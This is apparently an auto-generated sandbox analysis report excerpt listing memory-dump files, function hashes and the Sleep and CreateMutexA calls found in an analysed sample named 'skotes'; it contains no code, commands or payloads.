Associated: 00000006.00000002.1770517716.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770542322.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770573414.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770672182.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770749214.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770771644.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770795600.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770818317.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770841775.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770863872.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770889945.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770913037.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770938502.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770963665.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771006568.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771034866.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771061868.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771089599.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771113804.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771136190.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771158708.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771185885.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771211687.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771239460.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771265689.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771288896.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771314614.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771345641.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771399039.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771479132.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771529542.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771559067.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771599206.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771628447.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771663933.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771689858.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771718095.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771746677.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771787854.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771925357.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771957752.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771982913.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772009364.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772032776.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772078737.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772102074.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b2b52a4b5204a4167cb4c6494304ce0b7912a13a8bdd2d7c1e83a4b329ce9c86
Instruction ID: 21bec420a76ab8abfd61fdb588bd1e573581a118cc0b9634ab111cef15da21fb
Opcode Fuzzy Hash: b2b52a4b5204a4167cb4c6494304ce0b7912a13a8bdd2d7c1e83a4b329ce9c86
Instruction Fuzzy Hash: 68310671B14240ABEB189BBCD88D7ADB771EBD6314F204319E0149B2D6E77D5980C762

Function 007AA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.1770294583.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.1770268516.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770294583.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770374659.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770399253.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770424237.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770517716.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770542322.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770573414.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770672182.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770749214.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770771644.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770795600.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770818317.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770841775.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770863872.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770889945.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770913037.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770938502.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770963665.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771006568.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771034866.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771061868.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771089599.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771113804.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771136190.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771158708.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771185885.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771211687.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771239460.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771265689.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771288896.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771314614.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771345641.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771399039.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771479132.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771529542.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771559067.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771599206.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771628447.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771663933.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771689858.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771718095.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771746677.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771787854.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771925357.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771957752.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771982913.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772009364.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772032776.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772078737.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772102074.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2c04ece4b9b45f8248a3caf0909af967edc27f31092e4d675b318bb906b0b0e5
Instruction ID: 4c5f80e60d2a5ad1cc6dee3780fc93333106f39528623452d35c364823cbf4c0
Opcode Fuzzy Hash: 2c04ece4b9b45f8248a3caf0909af967edc27f31092e4d675b318bb906b0b0e5
Instruction Fuzzy Hash: 53312971B04100ABEB18DBB8DC8DBADB762EBC6314F244718E014AB2D6D73D9980CB16

Function 007AA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.1770294583.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.1770268516.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770294583.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770374659.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770399253.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770424237.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770517716.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770542322.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770573414.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770672182.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770749214.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770771644.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770795600.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770818317.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770841775.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770863872.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770889945.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770913037.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770938502.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770963665.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771006568.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771034866.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771061868.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771089599.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771113804.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771136190.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771158708.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771185885.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771211687.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771239460.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771265689.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771288896.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771314614.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771345641.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771399039.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771479132.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771529542.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771559067.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771599206.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771628447.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771663933.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771689858.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771718095.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771746677.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771787854.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771925357.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771957752.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771982913.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772009364.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772032776.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772078737.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772102074.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d68bf0c27c9be87d007c36bf8d2431f79e821833d7349f76290e8aebb67c3adc
Instruction ID: c66b2abb51d1ac60ee1530198548c96a7a5b1927de5c1c244bd2b5eb987b8dec
Opcode Fuzzy Hash: d68bf0c27c9be87d007c36bf8d2431f79e821833d7349f76290e8aebb67c3adc
Instruction Fuzzy Hash: 38310971704104ABEB189B78DC8D7AEB772EBD6310F248718E0149B2D5D77D5980CB52

Function 007A9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.1770294583.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.1770268516.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770294583.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770374659.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770399253.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770424237.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770517716.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770542322.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770573414.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770672182.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770749214.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770771644.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770795600.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770818317.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770841775.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770863872.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770889945.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770913037.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770938502.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770963665.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771006568.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771034866.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771061868.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771089599.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771113804.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771136190.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771158708.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771185885.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771211687.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771239460.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771265689.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771288896.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771314614.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771345641.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771399039.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771479132.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771529542.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771559067.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771599206.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771628447.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771663933.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771689858.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771718095.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771746677.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771787854.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771816500.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771925357.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771957752.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771982913.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772009364.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772032776.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772078737.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1772102074.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f4701fc448de104167214fc6d2c87738c9a9df6b73843e1068b2030c311e1859
Instruction ID: caf7440a413ec2bd5c484f2629d9a432233d3a312f030511bb0d3da2479a5d55
Opcode Fuzzy Hash: f4701fc448de104167214fc6d2c87738c9a9df6b73843e1068b2030c311e1859
Instruction Fuzzy Hash: 4F214C71704200EBEB189B68EC8D7ADB765EBD2310F204319E514DB2D5D77D5D80CB12

Function 007AA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000006.00000002.1770294583.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.1770268516.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770294583.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770374659.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770399253.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770424237.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770517716.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770542322.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770573414.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770672182.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770699121.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770749214.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770771644.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770795600.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770818317.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770841775.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770863872.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770889945.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770913037.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770938502.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1770963665.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771006568.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771034866.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771061868.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771089599.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771113804.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771136190.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771158708.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771185885.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771211687.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771239460.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771265689.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.1771288896.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
